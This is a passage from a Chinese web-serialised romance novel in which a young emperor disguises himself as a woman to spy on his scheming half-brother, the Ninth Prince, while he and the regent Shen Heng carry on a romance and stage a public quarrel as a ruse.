已经算是恩人,怎么还能奢求更多呢。” “不是每个人都像侧王妃一样幸运,能够得到王爷这般英明神武的夫君的宠爱。”宋南卿秉持着演戏就要演到底的信念,眼睛一转看向门口的花墙, 留下一个纤细易碎的侧影,白皙的脖颈笔直,倔强的让人心疼。 实则是他怕跟人对视会忍不住笑出来。 南幸望着他的侧脸,沉吟道:“罪臣只是一个身份罢了,不是没有翻案的可能,或许本王可以帮你。” 宋南卿回想了一下他一个时辰前说出这句话时,绿芜的表情。从颤抖的睫毛到睁大的眼睛,一比一复刻出那种又惊又喜的状态,然后微微垂下头道:“我、我不能…” 微风从窗外吹起他的额发,粉色的桃花簪戴在发间和他今日的衣裙很是相衬,微红的脸颊谨慎的面容既青涩又娇媚,有着少女的清纯,又因为为人妇的身份让南幸眼中的火越烧越旺。 九王轻轻覆盖住宋南卿放在桌上的手,往他手心里塞了一块玉佩。 温热的手心皮肤一触碰到自己,宋南卿就一阵恶心,他以为在沈衡身上练过,这种钓男人的手段把戏他已经能驾轻就熟、手到擒来。 但是不行,不一样。别人的触碰,对他来说还是那么难以忍受。 他想抽出手,但被握紧了。九王勾起温柔的笑,语气慵懒又真诚:“或许你不相信,但今日见到你,我总有种熟悉的感觉,我想这是上天的缘分。你不该被困在那个男人身边,你需要一个能真的为你遮挡风雨的人。” “这块玉佩你拿着,有了它可以在王府畅通无阻。关于你的罪臣身份,我会努力想办法和陛下谈谈。” 南幸这个温润和煦的样子,宋南卿还真是没见过。他自己新迎进门的侧王妃还躺在床上昏厥,现在就在这里跟他拉拉扯扯装上什么深情了,可笑。 但玉佩倒是被他转手收下塞进了袖子里。 宋南卿微抿着嘴角,柔声道:“可是妾身以什么身份进来呢?” 轻轻柔柔的试探勾住了南幸的心,他望着宋南卿白皙柔嫩的脸颊,道:“饭要一口一口吃,事情也得一步一步来,你今日救了侧妃,也算结下关系,自然有由头常来。” “可是如果侧妃姐姐知道了,会生妾身的气吧…”宋南卿往后靠在椅背上,拉开了逐渐缩短的二人距离,粉红的衣裙搭在深色檀木椅上,不用凑太近都能闻到他身上的香气。 南幸看起来很吃他这一套,手指像蛇顺着粉色绣花的袖口往里伸,摸到了那截皓白的细腕。 “她生她的气,咱们乐咱们的。”温热的指腹顺着腕骨往里摸,让宋南卿的手臂上起了一层层薄薄的鸡皮疙瘩,他努力遏制住想扇面前人一巴掌的冲动,一把狠狠按住南幸的手抽出来,眼睛一瞪道:“我虽然是罪臣之女,但可不是什么随便的人!” 这脾气一起来,更像当年九王妃的性子了。 南幸露出一个歉意的笑,道:“抱歉,本王太想帮你,着急了。” 他拉开抽屉,从里头拿出了个金子打的耳环想给他赔罪,看向宋南卿的耳垂时眯了眯眼,疑惑道:“你没有耳洞?” 危险怀疑的语气让宋南卿后背一凉。大盛女子到了及笄之年都会打耳洞的,没有例外,尤其是新婚之时,戴上夫家送的耳环才证明是做了夫家的人。 宋南卿心里一惊,快速思考片刻开口解释道:“原本是有的,只是…耳朵戴不了不是纯银纯金的,一戴就会痒,但夫君他一个月俸禄就那点儿,买不了什么好的耳环,久而久之我干脆就不戴了。” 他耸起一边肩膀偏头往耳侧看,迷糊道:“已经长上了吗?我看不见。” 南幸被他的说法打消了一些疑虑,手刚往他耳边伸,门口就传来吵嚷之声。 沈衡在门口朝拦着他不让进的侍卫问话,先是礼貌的语言,后来三四个人也没挡住他的步伐,大门被一股巨力推开,当他出现在门前时,九王爷的手还在宋南卿耳畔没放下来,二人姿态亲密,一看就没干什么正经事。 七夕的月亮正悬在天上,沈衡盯着头顶的明月扫过堂前坐着的两个人,他眼神很尖,一眼就看到了宋南卿头上那个本不属于他的桃花簪,冷冷的眼神看向南幸时,让对方浑身发毛。 南幸暗忖:不就是个大理寺的小官吗?怎么身上气势那么逼人,大概是捉奸的男人都有这种底气和气势? 宋南卿被他看得也浑身不自在,忙站起身走到他身边,轻声道:“侧妃娘娘没事了,王爷感谢我刚刚出手相救,所以留我说了一会儿话。” “夫…夫君你刚刚去哪儿了?我都没找到你。”宋南卿拉住沈衡的袖子扯了扯暗示他。 沈衡气息沉沉,道:“既然无事,时辰不早了,回家。” 宋南卿话还没说完就被抓住手臂离开,他回头看了眼九王,对方依然笑着对他指了指袖子,暗示那枚可以进出王府的玉佩,可千万要收好了。 天色确实已晚,宋南卿坐在马车里听着沈衡跟竹心吩咐今日假扮身份之事,他找了个大理寺小官的身份假扮,让竹心通知对方这几日不必来大理寺,在家中装出和妻子吵架的样子便好。 宋南卿插话道:“我假借了绿芜表妹的身份,是赵氏一族的远亲,别说漏嘴了。” 竹心应声退下。 娶了个罪臣之女当然不会大张旗鼓宣扬出去,所以同僚不知道他有妻子也是情理之中的事。九王如果真对他有兴趣,势必会来打探他身份的虚实,到时候再把他们吵架的消息散出去,三句真话中混着一句假话,这才是谎言的最高境界。 竹心离开后,马车里只有他们两个人,夜里周围很安静,车里更安静的连根针掉下来都听得见。 宋南卿眨了眨眼,抢先一步开启话题,打破这诡异的沉寂,“我今日有大发现,你还记不记得上次在李氏医馆我们看见的那个被追杀的人,我翻遍了你那些武器兵书,发现他的那个护指刺,是突厥贵族特有的。” “今天我在九王那里,看见了相同的,他果真有些不为人知的计划,还需要进一步探查才行。”宋南卿沉吟,“静悄悄必定在作妖,我真有预感,他在酝酿着什么大的事情。” 见沈衡没反应,宋南卿不满地戳了戳他的胳膊,“有没有听见我说话呀!” 沈衡转过脸,他之前的伪装易容不知何时已经卸了下来,原本的如墨眉峰微挑,自带三分凌厉,刀削般的脸庞轮廓立体精致,琥珀色的瞳仁在黑夜里,深如寒潭,目光流转间饱含锋芒。 他坐在轻晃的马车里,却像一株直立的松柏,眼皮一压望着宋南卿问:“刚刚和九王干什么了?” 不轻不重的声音在安静的密闭性空间里格外响,像是落到了人心上。 宋南卿头上的桃花簪子晃了晃,他状似轻松般回道:“他是我哥,我们俩还能真干什么不成…” “他不知道你是谁。”沈衡话语简短,一针见血,“你还知道他是你哥,这种手段用在他身上,你觉得合适吗?” 宋南卿眉头微蹙,“怎么了?我又没真跟他做什么,就摸了一下手而已,你至于对我这个态度吗?”本来伪装着忍着恶心跟九王周旋他就很委屈了,在沈衡这儿得不到安慰就罢了,自己好不容易发现的线索对方也不上心,都没夸奖他,反而抓着他的小错处不放。 “我又不是小孩子了,你以为我跟谁都能做到跟你的那份上吗?你把我当什么了?”宋南卿觉得他小题大做,争夺时以策略为先,不是沈衡教他的吗?只要能达成目的,手段见不见的光、是不是正义根本没那么要紧,这都是他用来胜利的途径罢了。成王败寇,只要结果是他想要的,牺牲一些东西是必要的。 宋南卿静了静,望着他的眼睛道:“先生不知道吧,有血缘关系的人之间更容易产生感情,尤其是他们小时候没有生活在一起,或者分开了很长时间,相似的血液会让他们更容易对对方产生好感,这是天生的吸引力。” “我只是利用了这一点而已,这是损失最小、最快的方法,我有哪里做的不对吗?选择最优策略不是你一直教我的吗?” “而且他是我哥,我同父异母的亲哥,我们怎么也不可能会有什么的呀!要遭天谴的。” 沈衡看着眼前这张熟悉又陌生的脸,冷声问:“哥哥就可以是吗?就不要紧对吗?那按你的理论来讲,相似的血缘会不会让你也更容易对他产生好感?” 宋南卿的气一下子消了下来,他抬起大大的眼睛,试探问:“先生你是不是吃醋了?” “是。”沈衡回答的冷硬但果断。 宋南卿嘴角轻抬,慢慢挪过去抱住了他的胳膊,语气雀跃道:“你是不是好喜欢我。” 没等沈衡回答,他就把脸靠在人肩膀上,仰头亲了下沈衡的下巴,轻声道:“我也最喜欢你了,没有人可以和你比的。” 甜的要命的小东西粘在身上下不来了,沈衡被他柔软的脸颊挤着下巴,脖子也被贴住一个劲蹭。 “跟他只是演戏而已,跟你才是真的……”甜言蜜语跟不要钱一样往外冒,沈衡怀疑梅坡斋的梅子吃多了是不是会让人也变成一个甜蜜饯。 他转过头道:“谁知道你跟他是不是也说过同样的话。” 宋南卿噘了下嘴,在他的脸上亲了一口,“没有,我最喜欢先生了,无论谁来,发生什么我都最喜欢先生了。” 沈衡暗沉沉的眼睛看向窗外,手指穿过少年柔顺的发丝,轻声道:“你的那个血缘理论,从哪里看来的,我不记得教过你这个。” 宋南卿讪讪一笑,“那个…就是那个、话本子上啊…” “我早就该给你扔了,还是扔得太晚。”沈衡垂眼看他道。 薄薄的眼皮垂下时显得薄情,去掉伪装的这张脸才是每寸都长在宋南卿心坎上的模样。 少年舔了下嘴角上的伤口,仰头凑近,轻轻吻在沈衡嘴角。 他觉得那双琥珀色的眼睛和沈衡身上的味道有致命的吸引力—— 作者有话说:[比心] 第53章 第五十三章 就是要和你不清不楚 近期, 一些皇帝和摄政王的风言风语甚嚣尘上,民间甚至流传出二人私情甚笃的话本子来,仪鸾司大肆搜捕稽查, 最终也没找到流言的源头。 立秋之后, 天气并没有转凉的迹象,但西北军情传来, 众大臣齐聚宣政殿共商国事。 宋南卿坐在高高的龙椅之上俯瞰众人, 头冠上垂下的珠帘轻轻移动发出脆响, 暗黄色的龙靴上金龙纹样奢华又威严。 他左手握着一柄玉如意把玩,听阮羡之给他汇报近期京中的重要舆情, 手底下温润的玉如意表面有很多凹凸不平的纹路, 指腹嵌在里面可以感受到或轻或重的挤压。 阮羡之在堂下身姿挺拔态度端正,把一些攻击摄政王的折子内容一一陈述。 有人说他把持朝政危害朝廷,皇帝即将加冠还不放权, 有人说他居心叵测, 但那些说他和宋南卿感情不寻常甚至更难听的流言, 却是没人敢拿到堂上来说。 毕竟摄政王大人垂着袖子穿着蟒袍就立在正前方, 前几年也有人弹劾他有心谋反, 独揽大权,陛下那时候还小, 攀附在沈衡身上像个未成长的菟丝花,对于关照他的摄政王,他当然对这种离间他们的言论很生气, 下令免去弹劾人的官职。 沈衡却是以此教育他公私分明,竟然替那个弹劾自己的人说话求情,只是派到了稍远一些的地方做官,一时间朝中都赞摄政王心胸宽广, 不是那等子只考虑私权的人。 但不久,有人发现这个小官竟然客死异乡,连他到底是怎么死的都查不出来。 对于弹劾摄政王这种事情,陛下都是全权交由摄政王自行处理的,但现如今,阮羡之可是陛下一手提拔任命的,他拿出这些东西敢公开谈论,是不是也侧面表明了陛下的态度呢? 宋南卿往旁边一伸手,接过来春见递的茶喝了一口,眉头微皱,不悦道:“太烫了。”纤细白皙的指尖扣在莲花纹彩釉杯上,透粉的指甲泛着贝壳般光泽,只是被剪得很平,几乎要贴着肉。 原本被指甲保护的指端软肉已经不见阳光、不被触碰很久,乍一暴露出来与温热的杯子接触,有种怪异的感觉,仿佛那块皮肤不属于自己。 宋南卿捻了一把指尖,又悄悄瞪了一眼穿着玄色衮服垂手而立的沈衡,现在立在堂下威严甚重,看起来令人望而却步,正经人一般。 谁成想这人趁着自己睡觉不注意,竟然把他指甲全都剪秃了。 宋南卿在心里默默谴责他,好坏!沈衡似是感觉到了他的目光,抬眼回看。 宋南卿小幅度歪了下嘴,冲他做了个小发雷霆的表情。 不就是被他指甲挠破了脖子,在练兵营训练的时候被人起哄了吗?这又不是他的错,归根到底错还是在沈衡身上,他又不是故意要挠的,那时候他根本就没意识。 春见听见陛下不悦的声音,接过茶杯忙下去要给他换一杯来,阮羡之的声音戛然而止。 “西北军情如何?”沈衡淡淡发问,打破了沉寂,丝毫没有被攻击之后的愤怒和不愉。 底下一名官员回道:“立秋之后,突厥人屡犯边境,想来可能是天气转冷,为了深冬做粮草准备。摄政王派的军队守在边疆多年,对方一直不敢来犯,今年不知是为何……” 九王侧了侧身,像是玩笑般搭话道:“摄政王多年不带军打仗,大概是之前远扬的威名散去,让这些突厥人忘了当初忌惮的感觉。”他病好之后开始上朝,虽然不参与什么重大决策,但堂堂亲王,在朝堂之上说话的权力还是有的。 宋南卿往后靠在龙椅上,问道:“听说前几日有将士死伤不少,怎么回事?” 阮羡之拱手答道:“突厥一支军队异军突起,现如今两方在争夺土地,靠近边境的我朝百姓成了被掠夺的对象。昨日前线来报,突厥骑兵与我朝守关者发生冲突,似有朝我军进攻的趋势,前方将领请求支援,一击击溃突厥军,使其不敢来犯。” 宋南卿扫过堂下众人,沉思了一会儿,问沈衡:“亚父怎么看?” 沈衡单手背后沉声道:“突厥屡次犯边,如果不加制止只会越演越烈,既然内乱,这是一个好机会。” “朕同亚父想的一样,军营训练场按新的组合作战模式练了许久,也需要一个机会来检验成果,只是军中还缺少一个有勇有谋的将领。”宋南卿眼神扫过堂下一众大臣,“各位可有举荐的对象?” 郗渐站出来,道:“多年前九王爷曾与突厥打过仗,对他们的习性和作战方法最是了解,微臣认为可使九王出战。” 宋南卿挑眉,看向九王道:“九哥意下如何?” 南幸噙着一抹笑摇头:“我如今虽说是病好了,但若论起行军打仗,怎么比得过摄政王呢,本王觉得摄政王比较合适,提起摄政王大名不管是在科尔沁还是在突厥,那都是让人闻风丧胆的存在。” 沈衡道:“九王谬赞了,本王如果真像你说的声名远扬,那突厥人也不敢来犯,你说是吧?”二人对视了一眼,电光火石间都看到了对方眼中闪烁的光。 但也有人有异议:“摄政王如今的名声可不算太好,如果让他领兵出征,万一真有什么歪心思,于江山社稷可不是大祸?”他们交头接耳窃窃私语,没有一个人敢把话说到明面上,嘴上都在劝陛下三思。 宋南卿朝阮羡之使了个眼色。 “陛下,微臣以为,还有一人可当大用。”阮羡之目光炯炯说出一个名字,“贺西洲,贺小将军。” 贺西洲父亲贺勇有着跟突厥作战的经验,当年差点在战场身亡,还是被九王拼命救了下来,也是因为如此,贺家才一直站在九王身边,任凭别人怎么说也没有忘记报答救命恩人。于贺西洲来讲,突厥人和他差点酿成杀父之仇,一定有恨意在,如果能帮父亲和九王一雪前耻,那不仅是战功赫赫,还是忠孝两全。 且贺西洲在禁军训练场也锻炼过很长时间,于新型作战方式很是熟悉。他没有摄政王的权势,也不需要被忌惮,军队在他手中被统领,总好过在两个王爷手里。 九王眼含笑意,眸光一闪,道:“若是西洲相辅,那本王拼了这条命,也愿为陛下为百姓一试。” 宋南卿想开口,却被沈衡抢先一步,“不妥。” 他摇了摇头,“昨日夜观天象,同宝华殿法师一同算过,金星伴月是不祥之兆,且这颗金星主亲缘,若是与陛下有血缘关系之人参与战事,怕是有血光之灾。” 宋南卿听他扯什么血缘亲缘的,就知道沈衡是为了上次他跟九王近距离说话不满的报复,但礼佛和天象之说都是玄而又玄的东西,这种命理性的东西没有人说得准,沈衡作为权威自然说什么就是什么。 堂下众人听他那么说,一时间也不敢再提让九王出征之事。 宋南卿动了动脚踩在毯子上,撩起眼皮看沈衡,示意他差不多得了。 他没告诉沈衡自己的计划,对方却阴差阳错帮了他,果然,在讨厌九王不让他如意这方面,他们俩还是有着一如既往的默契。 宋南卿握着绿檀佛珠在桌上敲了两下,抬眼看向窗口透过来的光,空气中扬起的灰尘在光照下格外明显。 “九哥,谁做这个将领都行,但朕还是希望九哥能健健康康的,你真愿意出征?” “陛下,臣不信这些,如果能为边疆百姓击退敌军保障生活,臣愿赴汤蹈火、在所不辞。” 宋南卿转了转脖子,活动了下肩膀,端起重新上来的茶水一饮而尽,道:“有九哥如此,是大盛之幸,就依你。” “好了,还有事吗?无事退朝。” 南幸上前一步,拱手道:“臣还有一事,贾良生前为了谋私利做过很多错事,也断过一些冤假错案,虽然他贪污的赃款大部分已经收缴国库,但一些被断错的案件还有很多未能平反,这些清白之臣因不与他同流合污而下狱沦为罪臣,属实是我大盛人才的流失和遗憾。” 宋南卿点点头,“九哥说的有理,这一点是朕疏忽了,那这件事就交于九王来办,吏部刑部多加配合,我们不冤枉任何一个清白之臣,也不会放过任何一个企图以权谋私之人。” ———— 乾清宫后院,紫藤花爬满秋千架,星星点点的花瓣凋零,落在地上混进土里。朱红色的木头少了花朵缠绕露出原本的颜色,秋千吊在上面一前一后摇晃,空气中是紫藤花的香气。 宋南卿散着乌黑的长发坐在秋千上,宽大的袖口垂下,露出一截细细的腕子,银镯挂在腕骨处,精致的雕花衬着袖口的卍字纹,给他平添了几分悲天悯人的气质。 浅绿色的鞋子踩在紫色的花瓣堆上,脚尖轻点,他就坐在秋千上扬了起来。 少年偏头看向高处的绳结,这个秋千还是他刚登基不久时沈衡扎的,后来绳子逐年变短,他的腿越来越长,但秋千的高度一直是适配的。 今年相比去年又长了一些,秋千也比上次更高了,他的脚尖要用力伸才能踩到地面,也不知道沈衡是何时注意到上一个已经和他的身高不匹配了,又是何时重新扎好的新秋千。 他总是这样,默默做了好多事,但从来不说,所以当宋南卿自己反应过来时才发觉,沈衡已经融入了自己生活的方方面面,每一处都残留着他的痕迹。 一阵风起,吹的宋南卿长发飘在空中,顺滑又有光泽的头发被一只手从后面捞起,一件外衣披在了少年背上。 宋南卿都不用回头看,就知道来人是沈衡。 他握住身后人的手,仰起头说:“你想去突厥打仗吗?” 沈衡轻轻捏着他的肩膀,拂去肩头掉落的紫藤花瓣,“我要去了,不是坏了某些人的谋划?” 宋南卿不满地扯了扯他的指根,哼了一声道:“你说九王呢还是说我呢!” 细嫩的指尖绕着男人手心画圈,指甲被剪短后,触碰起来痒意更胜,沈衡抓住他乱动的手指,笑道:“原来卿卿也有谋划?倒是我小瞧了。” 宋南卿勾住他的腰带,往后贴在人身上,一双大眼睛倒着看人,“我哪有这些心机,将计就计罢了。说真的,突厥那边到底什么情况?” 沈衡低声说:“陛下为什么会觉得我知道?” “我那天跟你说起护指刺一事,你根本就不惊讶,你早就知道九王和突厥人有联系,我就不信你那些人在突厥边境那么多年,什么消息都传不过来。” “消息是有,但外界现在都传我和陛下关系不清不楚,我为什么要告诉你,再使自己陷入舆论中呢?”沈衡垂眼看着勾住自己腰带拉扯的少年,眉头微挑。 紫藤花的香味中带着粉感,还有一种独特的青涩。宋南卿转过身一把抱住沈衡的腰,冰凉的玉扣子镶嵌在衣襟上,硌着他的脸,挤出小小的一个弧度。 他刚洗好的发丝顺滑带着淡淡的香气,下半身坐在秋千上微微摇晃,胳膊牢牢圈住沈衡固定住自己,发丝也随之摇摆,扫过人的手背。 “我就是要和你不清不楚。”一朵紫色的小花掉落在宋南卿鬓边,他扬起头直直望向眼前人,耳边的碎发随风摇晃,前方的夕阳慢慢降落直地平线,郁郁葱葱的树木枝叶中,火红的太阳被分割成细碎的几块,晚霞满天。 沈衡轻轻摸了摸宋南卿的头,指尖轻抚他鬓边的落花,听见少年靠在他胸前说:“你心跳的好快。” 眼前红日跃动,像是搏动不停的心脏—— 作者有话说:[红心][红心][红心] 第54章 第五十四章 不动你,乖 “突厥到底有事没?”宋南卿捡起掉落在衣服上的花瓣, 有一下没一下捻着玩,二人挤在一个秋千上轻轻摇晃。 “没事。”沈衡坐在他身边,二人大腿相贴。 九王想利用突厥战事出兵, 估计早就和那边达成了什么协议, 那么多年过去了他还是贼心不死,但一切都还在沈衡的掌控之中。 “卿卿这几日不是又去找他了, 按理讲直接问他比问我要容易许多。”沈衡道。 宋南卿假扮绿芜表妹进出九王府多回, 和南幸的关系也是日益密切, 从中探听到许多消息,他找了当年见过九王妃之人学习了一下神态语气, 现如今九王对他很是热切。 但因着他说不想无名无分跟着九王, 说什么也要当上王妃才肯进一步接触,南幸倒也乐在其中,一边操心大事一边还要操心宋南卿和所谓夫君解除婚姻、帮赵家平反, 还要说服族中人迎娶新王妃, 可谓忙的晕头转向。 这就给了宋南卿探听消息的机会, 但关于这些军事内情, 他暂时还没办法那么快接触到核心, 需要徐徐图之。 “他防着我呢,不过既然突厥无事, 这就好办了。”宋南卿朝他招了招手,凑近人耳边轻声说了自己的计划。 他抬起手挡住自己的嘴巴,在人耳边低语, 时不时露出一个狡黠的笑,因着坐在秋千上下身不稳,少年动作幅度过大没稳好重心,笑容还挂在嘴边未收回去, 身影就摇摇晃晃朝一侧歪倒,白色的宽大衣袖在空中甩出残影。 他大叫着救命去够旁侧的吊绳,半边身子已经歪下秋千,长长的发丝垂着空中如瀑流淌,秋千上方的紫藤花被摇落了一地花瓣,深深浅浅的紫色小花零散而下像是下了一场花瓣雨,星星点点落在少年的长发上,被一旁的沈衡揽住腰才彻底稳住身子。 他的屁股已经滑出秋千,只有腿弯搭在上面,腰身被一只手臂托着往上抬起,连本来披在身后的衣服也滑了下去,沾染了一身紫藤花香气。 宋南卿惊魂未定,心跳未平,一只手紧紧抓着沈衡的衣襟,以一个依赖的姿势靠在他身上,睫毛飞快颤动,委屈又心有余悸的表情中带着说不清道不明的撒娇,单薄的身躯就这样缩在沈衡怀里,像危险过后找到了可以栖息的巢穴的小鸟。 他刚刚伏在人耳边说起设计九王计划时,手段毒辣心机深沉丝毫不掩饰,但现在面对沈衡之时又像天真无害收起爪牙的柔善小动物,一来一回的反差着实让人心动,只对自己收爪的特殊性让沈衡摸着他的头发眸光幽深。 一朵一朵的紫色小花在头发上像是本就用来装扮少年的饰品,沈衡垂眸看着怀里惊魂未定的脸,二指捏住小巧的下巴,低头吻了上去。 柔软的唇还是熟悉的味道,宋南卿张开唇缝和沈衡吻的很深,舌头纠缠气息交换,腮内软肉都被勾着细细舔舐。舌尖相触之时,少年缩起脖子打了个激灵,又被大掌握住后颈进一步贴紧。 “嗯哼……”宋南卿张开嘴被舔着敏感的上颚,时轻时重的吮吸让他不自觉翘起脚来,头脑晕晕乎乎仿佛飘在云里。上唇连带着唇珠被吸着拉扯,他含不住的涎水从嘴角滑落,又被男人抹去。 白皙的脸颊逐渐染上酡红,宋南卿伸长双臂勾住沈衡的脖子,二人上身越贴越近,从唇舌处传来的愉悦上下蔓延。 宋南卿被吻的喘不上气,他感觉对方的手逐渐移了位置,耳根处熟悉的揉捏离开,他的喉结被按住轻抖,无法控制地吞咽下不知谁的口水,心尖都带着无法抑制的痒意,但又没办法伸进去挠解痒。 “呜——嗯…” 他摇头想躲,眉毛可怜地皱起来,抬起手拍了拍沈衡的背,破碎的叫声一连串连不成调。 但男人却没有停止,火热的舌尖一直舔到深处,手指插进浓密的发丝之间,按在少年后脑处掌控对方接吻的角度。 舌头舔的太深,深到宋南卿仰起头费力逃脱还是被舔到了喉口,他耸起肩膀泄出了哭声,身体一抖一抖在秋千上坐不稳,鞋子里的脚趾蜷缩成一团。 过了良久,宋南卿终于被放开,他面色潮红眼眶湿润,浓密的睫毛粘在一起,唇珠被吸的红肿挺立。手指攥在衣袍上时不时抽动,大口大口呼吸着新鲜的空气,眼神失焦呆呆看着前方已经落山的太阳。 掉落在腮上的发丝被沈衡轻轻挑起掖至耳后,指腹触碰到耳垂时,又引起宋南卿一阵瑟缩,他小声哭叫着什么,沈衡摸着脸哄道:“好了,不碰你,乖。” 夜幕降临,宋南卿坐在餐桌前喝着沈衡喂过来的老鸭汤,银勺子里鲜美的汤一口接着一口,他已经吃的差不多了,喝了几口就推开人的手,瞥了眼外面的天色,对着人眨了眨左眼。 沈衡放下手中的碗,道:“真舍得对你九哥那么无情?” “是他无情在先,况且我们本来就没什么感情吧,就算有,也是……”宋南卿抬起手做了个劈砍的动作,“不过这段时间就是要拜托先生和我演戏了,九王很精明,宫里说不准就有他的人,务必以假乱真,他才能真的肆无忌惮。” 沈衡点头,同意陪他演那么一出。 九王找人写话本传摄政王和皇帝的流言,实际目的是分裂两人,毕竟但凡脑子正常一点,这两个人都不可能真的有什么私情,自古以来权臣都没有什么好下场,等幼帝长大,第一个要灭的就是这个摄政王,而想要把持朝政收拢权力,摄政王也不可能给皇帝这个机会。 这个流言从外部让大臣给皇帝施压,从内部也让小皇帝内心开始怀疑摄政王,不管宋南卿最开始是怎么想的,一旦流言成风,于皇帝名声威严、于江山社稷,他都不可能再对摄政王有什么好脸色,会怀疑以往相处的那些好,到底是不是故意为之,成为让他逃离不开控制的枷锁。 这时候九王就可以顺理成章地先跟宋南卿一起除掉摄政王这个最大威胁,再除掉根基未稳的小皇帝。 但有一点他确实没有预料到。 宋南卿也想要这个流言越演越烈。 宋南卿想要沈衡和他绑定到地老天荒,摄政王的名声越不好,就越离不开自己,他不想要沈衡那么强、那么坚不可摧,有脆弱之处,他才能牢牢霸占沈衡的所有,让他再也不可能抛下自己。 他和所有帝王一样不喜欢别人控制自己、牵制自己,但沈衡是那个例外。 他巴不得沈衡能够永远别放下自己,永远把他当做那个离不开照顾的小孩。 外臣始终是外臣,亲兄弟因为有血缘关系也有继承皇位的可能,九王想的没错,没有人愿意卧榻之侧让他人安睡,但他想错了一点,宋南卿和沈衡才是一伙的,枕头分一半睡了多年,卧榻旁本就习惯了有对方的身影。什么权利纷争、上位下台,那都是他们两个人的私事,别人,不在他们的圈地之内。 蜡烛燃烧了一半,滴落的蜡油凝固,宋南卿拿起桌上的杯子朝地上一摔,冷言问道:“你什么意思?” 沈衡气息沉沉,锋芒毕露,望着摔到自己脚边的杯子碎片,道:“陛下好大的脾气,尊师重道的道理是一点都没记到心里去。” 春见听到里头的摔东西的声响,忙进来看是怎么回事,一进屋就被剑拔弩张的架势吓得跪在了地上。 陛下和摄政王争吵的声音不绝于耳,最后宋南卿对他吩咐道:“以后没有朕的允许,不许摄政王进宫里的大门,听见了没有?” 春见颤抖着抬起头,应声称是。 好好的,吃饭前还语笑晏晏的两个人这是怎么了,以前也有闹别扭但没到这个程度过啊。他看见摄政王一甩衣袍转身离去,步伐很快不带一丝停留。 怎么转眼间天就变了?春见拂了拂衣袖,悄悄打量陛下的表情,心想天家无情可能就是这样。贾良在时陛下还需要依仗摄政王,但现在威胁差不多除去,朝中多的是陛下的人,他们利益相对也是迟早的事,幸好自己早就转向陛下,不然现在连怎么死的都不知道。 他蹲在地上捡着碎掉的瓷片,心想以后做事要更谨慎一些才是,伴君如伴虎,即使是跟他一同长大的陛下,在皇位时间越久,好像也被同化成了以往人们心中皇帝会有的样子,多疑、阴晴不定、喜怒无常。 ———— 摄政王一连几天上朝都不在,陛下也一连几天没个好脸色,朝臣不敢当着他的面议论,其实私底下已经讨论过好几轮。乾清宫口风紧探不出什么,但只要想钻空子,还是有机会可乘。 宫里打扫的宫人透出口风,说前几日陛下和摄政王大吵了一架,好像涉及什么“尊师重道”一类的话题,总之陛下一气之下把摄政王赶了出去,还说以后没有他的允许不许进宫。 九王听到这个消息,默默想自己的功夫这次终于做到位了。摄政王和皇帝二人相互提防,说他们私情尤甚的流言传出,他们都会怀疑是对方的手段,是用来抹黑自己的,二人肯定会因此产生嫌隙,如果不想这种不实的消息再流传下去,他们势必不会如之前那般亲密。 下朝后,宋南卿坐在书房拿着笔在写信,桌上展开两封笔迹不同的书信,一封来自沈衡,一封来自九王南幸。 宋南卿抿了抿唇,在纸上写下他今天吃了好吃的杏仁酥,上朝时有哪个大臣又嫌命长敢诋毁摄政王,把这两日自己做的事情都跟沈衡汇报了一遍,在结尾处又红着脸写了一大堆表达自己思念的话语,最后斜着笔画了一颗歪歪的爱心。 【好想你,这两天自己睡总感觉身边好空,你有没有想我?你肯定想我了!我跟你讲,你没来上朝不知道,一说我和你吵架,那些不知是人是鬼的东西全都冒出来了,好嘛!以往我都不知道他们对你那么多意见,那些挑拨的话听得我想把玉玺摔到他们头上,但又不能那么做,好烦哦。】 【是不是也有人跟你讲我的坏话了,你把他们名字写给我,我日后好找他们好好算账!对了,杏仁酥配方我附在后面了,你在家反正闲来无事可以学着做给我吃,糕点样子我也画在后面了,下次见面你要复刻出来一样的哦!这是朕交给你的任务,必须完成,不在身边你也要想着我才行。】 宋南卿洋洋洒洒写了一大片,足足写了两张纸,还在背面精雕细琢了杏仁酥的画像,最后满意地叠起来塞到信封里。 他把沈衡的来信仔细收好,然后捏着旁边的信封一角,打开九王写给他另一个身份——绿芜表妹的信。 这几天宫里忙,又忙着装和沈衡吵架,没去见九王,若即若离的态度让南幸很上头,给他寄了信来。 一打开,里面笔走龙蛇的字就吸引了宋南卿的兴趣。 虽然南幸小时候又乖张又不是人,但在教书先生和先帝的强硬措施下,还是练了一手好字,不过宋南卿看着这字迹,眯了眯眼,他还是第一次知道南幸是左撇子。 男人一旦想要孔雀开屏,就会迫不及待把自己的优点尽数展现。九王这一手字颇有韵味,最后还作了情诗一首。 宋南卿皱着眉咧着嘴草草看了两眼,又看九王说赵氏一族的罪情平反正在推进,心想他这个九哥,好像对这个跟王妃有几分相像的女人,真留了几番情,那么上心吗? “陛下,九王求见。”春见在外通传道。 宋南卿扫了几眼桌上的信,手指叠好收起,轻声道:“让他进来。” 第55章 第五十五章 好想你 菱格窗外的芭蕉叶绿的鲜亮, 夏天过去后,秋风卷着凉意从窗子缝隙吹来,宋南卿紧了紧胸前的外衣, 这件正是前几日沈衡在秋千上给自己披的那件。 那天掉到了地上, 卷进了紫藤花堆里,洗好之后残留着皂角的味道, 但仔细嗅起来, 还能捕捉到紫藤花的淡淡香气。 沈衡明明不在这儿, 但又好像无处不在。宋南卿捏着笔在纸上练字,一点点平复着心绪。 九王从门外走来, 低头给他行了一礼。 宋南卿抬眼道:“九哥不必多礼, 坐,今日来朕这儿有什么要事吗?” 板正的椅子排列在一侧,屋里熏着能让人凝神聚气的香, 宋南卿头上戴了个造型别致绿色玉簪, 头发随意挽起, 正一手扶着袖子, 一手在纸上写字, 淡雅的样子看不出情绪,也窥不透他内心的想法。 南幸轻轻笑了笑, 不急不慢道:“今日找陛下来,是想问进军突厥一事,何日启程?” 那日朝堂之上宋南卿是说了让贺西洲领军, 九王做参谋一同进军突厥,可此事几日都没下文。别人不急,早就和突厥一方通好气的南幸却是很着急。 偏偏前几日宋南卿和沈衡吵架吵的满朝皆知,他不敢那个时候来触霉头, 但近几日实在是拖不下去,不得不来问一问究竟。 他手里的确有半块虎符未交可以调动士兵,早年间二皇子逼宫,他看形势不好派人抵抗,眼见沈衡拿下皇宫,他为保命率亲兵投靠了沈衡,为表新帝登基的宽容和稳定局势,他手上兵权没有全被收走,但如今多少年过去,没有皇帝允许私自调兵他这不成了谋反了吗? 